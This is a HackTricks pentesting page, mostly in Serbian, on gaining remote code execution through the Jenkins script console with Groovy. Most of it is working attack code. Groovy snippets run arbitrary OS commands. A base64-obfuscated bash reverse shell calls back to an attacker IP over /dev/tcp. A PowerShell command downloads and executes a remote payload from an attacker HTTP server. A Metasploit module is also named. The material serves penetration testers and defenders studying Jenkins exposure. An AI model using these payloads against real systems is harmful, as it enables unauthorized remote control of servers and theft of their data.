Jenkins RCE with Groovy Script

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Jenkins RCE with Groovy Script

Ovo je manje bučno nego kreiranje novog projekta u Jenkinsu

1. Idite na path_jenkins/script

2. Unutar tekstualnog okvira unesite skriptu

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Možete izvršiti komandu koristeći: cmd.exe /c dir

U linuxu možete uraditi: "ls /".execute().text

Ako treba da koristite navodnike i jednostruke navodnike unutar teksta. Možete koristiti """PAYLOAD""" (trostruki dvostruki navodnici) da izvršite payload.

Još jedan koristan groovy skript je (zamenite [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Obrnuta ljuska u linuxu

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell u Windows-u

Možete pripremiti HTTP server sa PS reverse shell-om i koristiti Jeking da ga preuzmete i izvršite:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Možete automatizovati ovaj proces sa ovim skriptom.

Možete koristiti MSF da dobijete reverznu ljusku:

msf> use exploit/multi/http/jenkins_script_console

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

• Proverite planove pretplate!

• Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.

• Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.